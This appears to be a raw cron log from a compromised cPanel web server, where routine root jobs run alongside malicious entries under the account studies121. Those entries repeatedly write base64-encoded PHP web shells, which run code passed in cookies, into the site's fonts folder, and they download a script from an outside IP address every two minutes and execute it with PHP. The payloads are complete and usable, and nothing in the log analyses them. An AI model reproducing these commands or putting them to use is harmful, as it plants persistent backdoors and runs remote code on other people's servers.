Feb 23 01:35:01 ip-184-168-122-23 CROND[22742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:35:01 ip-184-168-122-23 CROND[22744]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 01:35:01 ip-184-168-122-23 CROND[22743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:35:01 ip-184-168-122-23 CROND[22747]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 01:36:01 ip-184-168-122-23 CROND[23126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:36:01 ip-184-168-122-23 CROND[23128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:36:01 ip-184-168-122-23 CROND[23129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:36:01 ip-184-168-122-23 CROND[23130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:36:01 ip-184-168-122-23 CROND[23131]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:37:01 ip-184-168-122-23 CROND[23440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:37:01 ip-184-168-122-23 CROND[23442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:37:01 ip-184-168-122-23 CROND[23443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:37:01 ip-184-168-122-23 CROND[23447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:38:01 ip-184-168-122-23 CROND[23722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:38:01 ip-184-168-122-23 CROND[23721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:38:01 ip-184-168-122-23 CROND[23723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:38:01 ip-184-168-122-23 CROND[23728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:38:01 ip-184-168-122-23 CROND[23729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:39:01 ip-184-168-122-23 CROND[24065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:39:01 ip-184-168-122-23 CROND[24064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:39:01 ip-184-168-122-23 CROND[24068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:39:01 ip-184-168-122-23 CROND[24070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:39:01 ip-184-168-122-23 CROND[24067]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 23 01:40:01 ip-184-168-122-23 CROND[24359]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 01:40:01 ip-184-168-122-23 CROND[24364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:40:01 ip-184-168-122-23 CROND[24366]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:40:01 ip-184-168-122-23 CROND[24369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 01:40:01 ip-184-168-122-23 CROND[24365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:40:01 ip-184-168-122-23 CROND[24368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:40:01 ip-184-168-122-23 CROND[24374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 01:40:01 ip-184-168-122-23 CROND[24376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:41:01 ip-184-168-122-23 CROND[24668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:41:01 ip-184-168-122-23 CROND[24670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:41:01 ip-184-168-122-23 CROND[24672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:41:01 ip-184-168-122-23 CROND[24671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:42:01 ip-184-168-122-23 CROND[24962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:42:01 ip-184-168-122-23 CROND[24965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:42:01 ip-184-168-122-23 CROND[24967]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:42:01 ip-184-168-122-23 CROND[24968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:42:01 ip-184-168-122-23 CROND[24964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:43:01 ip-184-168-122-23 CROND[25276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:43:01 ip-184-168-122-23 CROND[25277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:43:01 ip-184-168-122-23 CROND[25278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:43:01 ip-184-168-122-23 CROND[25279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:44:01 ip-184-168-122-23 CROND[25601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:44:01 ip-184-168-122-23 CROND[25603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:44:01 ip-184-168-122-23 CROND[25605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:44:01 ip-184-168-122-23 CROND[25607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:44:01 ip-184-168-122-23 CROND[25608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:45:01 ip-184-168-122-23 CROND[26007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:45:01 ip-184-168-122-23 CROND[26008]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 01:45:01 ip-184-168-122-23 CROND[26011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:45:01 ip-184-168-122-23 CROND[26013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 01:45:01 ip-184-168-122-23 CROND[26012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:45:01 ip-184-168-122-23 CROND[26014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:46:01 ip-184-168-122-23 CROND[26379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:46:01 ip-184-168-122-23 CROND[26382]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:46:01 ip-184-168-122-23 CROND[26381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:46:01 ip-184-168-122-23 CROND[26386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:46:01 ip-184-168-122-23 CROND[26387]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 23 01:46:01 ip-184-168-122-23 CROND[26384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:47:01 ip-184-168-122-23 CROND[26707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:47:01 ip-184-168-122-23 CROND[26708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
